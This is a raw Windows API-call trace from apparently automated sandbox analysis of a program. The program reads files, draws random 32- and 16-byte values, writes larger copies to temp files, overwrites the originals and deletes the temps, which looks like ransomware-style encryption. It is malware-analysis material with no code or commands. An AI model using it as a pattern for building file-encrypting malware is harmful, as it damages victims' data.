	[0269.192] ReadFile (in: hFile=0x1b0, lpBuffer=0xc0003c6000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0003c6000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x1182, lpOverlapped=0x0) returned 1
	[0269.192] WriteFile (in: hFile=0x1b4, lpBuffer=0xc0003c6000*, nNumberOfBytesToWrite=0x1182, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc0003c6000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x1182, lpOverlapped=0x0) returned 1
	[0269.193] ReadFile (in: hFile=0x1b0, lpBuffer=0xc0003c6000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0003c6000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x0, lpOverlapped=0x0) returned 1
	[0269.193] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\5d5b14c4ba96977b80fba27b4fe57a9c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\5d5b14c4ba96977b80fba27b4fe57a9c")) returned 0
	[0269.193] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\5d5b14c4ba96977b80fba27b4fe57a9c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\5d5b14c4ba96977b80fba27b4fe57a9c")) returned 0
	[0269.193] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\5d5b14c4ba96977b80fba27b4fe57a9c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\5d5b14c4ba96977b80fba27b4fe57a9c")) returned 0x20
	[0269.193] CloseHandle (hObject=0x1b0) returned 1
	[0269.193] CloseHandle (hObject=0x1b4) returned 1
	[0269.194] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\5d5b14c4ba96977b80fba27b4fe57a9c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\5d5b14c4ba96977b80fba27b4fe57a9c")) returned 1
	[0269.195] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0269.277] SetEvent (hEvent=0x188) returned 1
	[0269.277] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0270.189] SetEvent (hEvent=0x17c) returned 1
	[0270.189] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0270.223] SetEvent (hEvent=0x17c) returned 1
	[0270.223] SwitchToThread () returned 1
	[0270.258] SetEvent (hEvent=0x1a0) returned 1
	[0270.258] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0279.562] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70703ff150, ulCount=0x10, ulNumEntriesRemoved=0x70703ff128, dwMilliseconds=0x3a, fAlertable=0 | out: lpCompletionPortEntries=0x70703ff150, ulNumEntriesRemoved=0x70703ff128) returned 0
	[0279.675] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70703ff150, ulCount=0x10, ulNumEntriesRemoved=0x70703ff128, dwMilliseconds=0x4c, fAlertable=0 | out: lpCompletionPortEntries=0x70703ff150, ulNumEntriesRemoved=0x70703ff128) returned 0
	[0279.861] WriteFile (in: hFile=0x0, lpBuffer=0xc0001c8000, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0) returned 0
	[0279.861] WriteFile (in: hFile=0x0, lpBuffer=0xc0001c8000, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0) returned 0
	[0279.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b4
	[0279.862] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001dbbf4 | out: lpMode=0xc0001dbbf4) returned 0
	[0279.862] GetFileType (hFile=0x1b4) returned 0x1
	[0279.862] GetFileType (hFile=0x1b4) returned 0x1
	[0279.862] GetFileInformationByHandle (in: hFile=0x1b4, lpFileInformation=0xc0001dbc44 | out: lpFileInformation=0xc0001dbc44) returned 1
	[0279.862] GetFileInformationByHandleEx (in: hFile=0x1b4, FileInformationClass=0x9, lpFileInformation=0xc0001dbc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001dbc28) returned 1
	[0279.862] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0002bc000, nNumberOfBytesToRead=0x32c2, lpNumberOfBytesRead=0xc0001dbb04, lpOverlapped=0x0 | out: lpBuffer=0xc0002bc000*, lpNumberOfBytesRead=0xc0001dbb04*=0x30c2, lpOverlapped=0x0) returned 1
	[0280.329] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0002bf0c2, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001dbb04, lpOverlapped=0x0 | out: lpBuffer=0xc0002bf0c2*, lpNumberOfBytesRead=0xc0001dbb04*=0x0, lpOverlapped=0x0) returned 1
	[0280.329] CloseHandle (hObject=0x1b4) returned 1
	[0280.329] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000e700 | out: pbBuffer=0xc00000e700) returned 1
	[0280.330] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc0001be910 | out: pbBuffer=0xc0001be910) returned 1
	[0280.330] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000000c01 | out: pbBuffer=0xc000000c01) returned 1
	[0280.330] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8b65c1e67cca30d1117627451fdcfab6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8b65c1e67cca30d1117627451fdcfab6"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0280.331] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001dbc04 | out: lpMode=0xc0001dbc04) returned 0
	[0280.331] GetFileType (hFile=0x1b4) returned 0x1
	[0280.331] WriteFile (in: hFile=0x1b4, lpBuffer=0xc0002bf500*, nNumberOfBytesToWrite=0x31c2, lpNumberOfBytesWritten=0xc0001dbbec, lpOverlapped=0x0 | out: lpBuffer=0xc0002bf500*, lpNumberOfBytesWritten=0xc0001dbbec*=0x31c2, lpOverlapped=0x0) returned 1
	[0280.333] CloseHandle (hObject=0x1b4) returned 1
	[0280.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0280.336] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0280.336] GetFileType (hFile=0x1b4) returned 0x1
	[0280.336] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8b65c1e67cca30d1117627451fdcfab6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8b65c1e67cca30d1117627451fdcfab6"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0280.336] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0280.337] GetFileType (hFile=0x19c) returned 0x1
	[0280.337] ReadFile (in: hFile=0x19c, lpBuffer=0xc0002ce000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002ce000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x31c2, lpOverlapped=0x0) returned 1
	[0280.337] WriteFile (in: hFile=0x1b4, lpBuffer=0xc0002ce000*, nNumberOfBytesToWrite=0x31c2, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0002ce000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x31c2, lpOverlapped=0x0) returned 1
	[0280.338] ReadFile (in: hFile=0x19c, lpBuffer=0xc0002ce000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002ce000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x0, lpOverlapped=0x0) returned 1
	[0280.339] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8b65c1e67cca30d1117627451fdcfab6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8b65c1e67cca30d1117627451fdcfab6")) returned 0
	[0280.342] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8b65c1e67cca30d1117627451fdcfab6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8b65c1e67cca30d1117627451fdcfab6")) returned 0
	[0280.343] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8b65c1e67cca30d1117627451fdcfab6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8b65c1e67cca30d1117627451fdcfab6")) returned 0x20
	[0280.343] CloseHandle (hObject=0x19c) returned 1
	[0280.343] CloseHandle (hObject=0x1b4) returned 1
	[0280.344] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8b65c1e67cca30d1117627451fdcfab6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8b65c1e67cca30d1117627451fdcfab6")) returned 1
	[0280.346] SetEvent (hEvent=0x17c) returned 1
	[0280.346] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0281.027] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f)) returned 1
	[0281.093] WriteFile (in: hFile=0x0, lpBuffer=0xc000144000, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0281.803] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0281.804] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b48)) returned 1
	[0281.804] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e000, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0281.804] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0281.804] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x33c6)) returned 1
	[0281.804] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e000, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0281.805] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0281.805] GetFileAttributesExW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8) 

Thread:
	id = 65
	os_tid = 0xfc8

	[0226.574] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70705ffc70, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70705ffc70*=0xec) returned 1
	[0226.574] VirtualQuery (in: lpAddress=0x70705ffc90, lpBuffer=0x70705ffc90, dwLength=0x30 | out: lpBuffer=0x70705ffc90*(BaseAddress=0x70705ff000, AllocationBase=0x7070400000, AllocationProtect=0x4, __alignment1=0x1, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0226.574] VirtualAlloc (lpAddress=0xc00003c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00003c000
	[0226.575] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xf0
	[0226.575] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xf4
	[0226.575] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0226.709] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0226.747] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0226.782] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0226.818] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0226.844] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0226.861] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0226.870] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0226.875] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0227.052] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0227.782] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0233.304] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0235.467] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0235.489] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0235.492] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0235.497] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0235.571] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0235.583] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0235.595] WriteFile (in: hFile=0x0, lpBuffer=0xc000066240, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0xc00020fd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00020fd94, lpOverlapped=0x0) returned 0
	[0235.595] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x8f, lpNumberOfBytesWritten=0xc00020fd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00020fd94, lpOverlapped=0x0) returned 0
	[0235.595] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x164
	[0235.595] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc00020fbf4 | out: lpMode=0xc00020fbf4) returned 0
	[0235.595] GetFileType (hFile=0x164) returned 0x1
	[0235.595] GetFileType (hFile=0x164) returned 0x1
	[0235.595] GetFileInformationByHandle (in: hFile=0x164, lpFileInformation=0xc00020fc44 | out: lpFileInformation=0xc00020fc44) returned 1
	[0235.596] GetFileInformationByHandleEx (in: hFile=0x164, FileInformationClass=0x9, lpFileInformation=0xc00020fc28, dwBufferSize=0x8 | out: lpFileInformation=0xc00020fc28) returned 1
	[0235.596] ReadFile (in: hFile=0x164, lpBuffer=0xc00018ab00, nNumberOfBytesToRead=0x541, lpNumberOfBytesRead=0xc00020fb04, lpOverlapped=0x0 | out: lpBuffer=0xc00018ab00*, lpNumberOfBytesRead=0xc00020fb04*=0x341, lpOverlapped=0x0) returned 1
	[0235.597] ReadFile (in: hFile=0x164, lpBuffer=0xc00018ae41, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc00020fb04, lpOverlapped=0x0 | out: lpBuffer=0xc00018ae41*, lpNumberOfBytesRead=0xc00020fb04*=0x0, lpOverlapped=0x0) returned 1
	[0235.597] CloseHandle (hObject=0x164) returned 1
	[0235.598] VirtualAlloc (lpAddress=0xc000196000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000196000
	[0235.600] GetProcAddress (hModule=0x7fff4ce00000, lpProcName="CryptAcquireContextW") returned 0x7fff4ce15a10
	[0235.600] CryptAcquireContextW (in: phProv=0xc000092148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xc000092148*=0x192c63dcb20) returned 1
	[0235.625] GetProcAddress (hModule=0x7fff4ce00000, lpProcName="CryptGenRandom") returned 0x7fff4ce16020
	[0235.625] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000ee00 | out: pbBuffer=0xc00000ee00) returned 1
	[0235.626] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000010570 | out: pbBuffer=0xc000010570) returned 1
	[0235.626] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000000601 | out: pbBuffer=0xc000000601) returned 1
	[0235.626] VirtualAlloc (lpAddress=0xc00019e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00019e000
	[0235.627] VirtualAlloc (lpAddress=0xc0001a0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001a0000
	[0235.628] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\efb1e933e20d31f37451b6a31affe50f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\efb1e933e20d31f37451b6a31affe50f"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174
	[0235.680] GetConsoleMode (in: hConsoleHandle=0x174, lpMode=0xc00019dc04 | out: lpMode=0xc00019dc04) returned 0
	[0235.680] GetFileType (hFile=0x174) returned 0x1
	[0235.680] WriteFile (in: hFile=0x174, lpBuffer=0xc0001a0000*, nNumberOfBytesToWrite=0x441, lpNumberOfBytesWritten=0xc00019dbec, lpOverlapped=0x0 | out: lpBuffer=0xc0001a0000*, lpNumberOfBytesWritten=0xc00019dbec*=0x441, lpOverlapped=0x0) returned 1
	[0235.817] CloseHandle (hObject=0x174) returned 1
	[0235.820] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174
	[0235.822] GetConsoleMode (in: hConsoleHandle=0x174, lpMode=0xc00019dd74 | out: lpMode=0xc00019dd74) returned 0
	[0235.822] GetFileType (hFile=0x174) returned 0x1
	[0235.822] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\efb1e933e20d31f37451b6a31affe50f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\efb1e933e20d31f37451b6a31affe50f"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x190
	[0235.823] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc00019dd74 | out: lpMode=0xc00019dd74) returned 0
	[0235.823] GetFileType (hFile=0x190) returned 0x1
	[0235.823] VirtualAlloc (lpAddress=0xc0001aa000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001aa000
	[0235.913] ReadFile (in: hFile=0x190, lpBuffer=0xc0001aa000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00019dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001aa000*, lpNumberOfBytesRead=0xc00019dbd4*=0x441, lpOverlapped=0x0) returned 1
	[0235.913] WriteFile (in: hFile=0x174, lpBuffer=0xc0001aa000*, nNumberOfBytesToWrite=0x441, lpNumberOfBytesWritten=0xc00019db74, lpOverlapped=0x0 | out: lpBuffer=0xc0001aa000*, lpNumberOfBytesWritten=0xc00019db74*=0x441, lpOverlapped=0x0) returned 1
	[0235.916] ReadFile (in: hFile=0x190, lpBuffer=0xc0001aa000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00019dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001aa000*, lpNumberOfBytesRead=0xc00019dbd4*=0x0, lpOverlapped=0x0) returned 1
	[0235.916] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\efb1e933e20d31f37451b6a31affe50f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\efb1e933e20d31f37451b6a31affe50f")) returned 0
	[0235.917] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\efb1e933e20d31f37451b6a31affe50f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\efb1e933e20d31f37451b6a31affe50f")) returned 0
	[0235.917] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\efb1e933e20d31f37451b6a31affe50f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\efb1e933e20d31f37451b6a31affe50f")) returned 0x20
	[0235.917] CloseHandle (hObject=0x190) returned 1
	[0235.917] CloseHandle (hObject=0x174) returned 1
	[0235.918] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\efb1e933e20d31f37451b6a31affe50f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\efb1e933e20d31f37451b6a31affe50f")) returned 1
	[0235.920] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000215d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000215d94, lpOverlapped=0x0) returned 0
	[0235.921] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc000215d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000215d94, lpOverlapped=0x0) returned 0
	[0235.921] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x174
	[0235.921] GetConsoleMode (in: hConsoleHandle=0x174, lpMode=0xc000215bf4 | out: lpMode=0xc000215bf4) returned 0
	[0235.921] GetFileType (hFile=0x174) returned 0x1
	[0235.921] GetFileType (hFile=0x174) returned 0x1
	[0235.921] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0xc000215c44 | out: lpFileInformation=0xc000215c44) returned 1
	[0235.922] GetFileInformationByHandleEx (in: hFile=0x174, FileInformationClass=0x9, lpFileInformation=0xc000215c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000215c28) returned 1
	[0235.922] VirtualAlloc (lpAddress=0xc0001b2000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001b2000
	[0235.925] ReadFile (in: hFile=0x174, lpBuffer=0xc0001b2000, nNumberOfBytesToRead=0x208f, lpNumberOfBytesRead=0xc000215b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001b2000*, lpNumberOfBytesRead=0xc000215b04*=0x1e8f, lpOverlapped=0x0) returned 1
	[0235.927] ReadFile (in: hFile=0x174, lpBuffer=0xc0001b3e8f, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000215b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001b3e8f*, lpNumberOfBytesRead=0xc000215b04*=0x0, lpOverlapped=0x0) returned 1
	[0235.927] CloseHandle (hObject=0x174) returned 1
	[0235.928] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000f0a0 | out: pbBuffer=0xc00000f0a0) returned 1
	[0235.928] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000010730 | out: pbBuffer=0xc000010730) returned 1
	[0235.928] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000000b01 | out: pbBuffer=0xc000000b01) returned 1
	[0235.929] VirtualAlloc (lpAddress=0xc0001c0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001c0000
	[0235.930] VirtualAlloc (lpAddress=0xc0001c2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001c2000
	[0235.930] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\c3cf2b44c29bdd68dbb61aa46af2c085" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\c3cf2b44c29bdd68dbb61aa46af2c085"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174
	[0235.931] GetConsoleMode (in: hConsoleHandle=0x174, lpMode=0xc0001a5c04 | out: lpMode=0xc0001a5c04) returned 0
	[0235.931] GetFileType (hFile=0x174) returned 0x1
